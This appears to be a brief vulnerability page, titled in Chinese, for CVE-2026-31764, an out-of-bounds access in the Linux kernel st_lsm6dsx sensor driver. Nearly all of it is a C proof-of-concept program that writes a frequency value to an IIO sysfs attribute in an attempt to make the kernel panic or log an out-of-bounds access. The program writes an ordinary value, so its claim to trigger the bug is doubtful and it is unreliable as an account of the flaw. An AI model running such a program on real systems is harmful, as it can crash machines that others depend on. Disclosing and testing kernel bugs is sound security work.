CVE-2026-31764 Linux内核st_lsm6dsx驱动越界访问漏洞

/* * PoC for CVE-2026-31764 * Triggering out-of-bounds access in st_lsm6dsx driver * by writing to the sampling frequency attribute. */ #include <stdio.h> #include <stdlib.h> #include <fcntl.h> #include <unistd.h> #include <string.h> int main(int argc, char **argv) { int fd; const char *path = "/sys/bus/iio/devices/iio:device0/in_accel_sampling_frequency"; // Target a frequency value to trigger the check const char *val = "100"; if (argc > 1) { path = argv[1]; } printf("[+] Attempting to write to %s\n", path); fd = open(path, O_WRONLY); if (fd < 0) { perror("[-] Failed to open device file"); return 1; } if (write(fd, val, strlen(val)) < 0) { perror("[-] Failed to write to device"); } else { printf("[+] Write successful. If kernel panics or logs OOB, vulnerability confirmed.\n"); } close(fd); return 0; }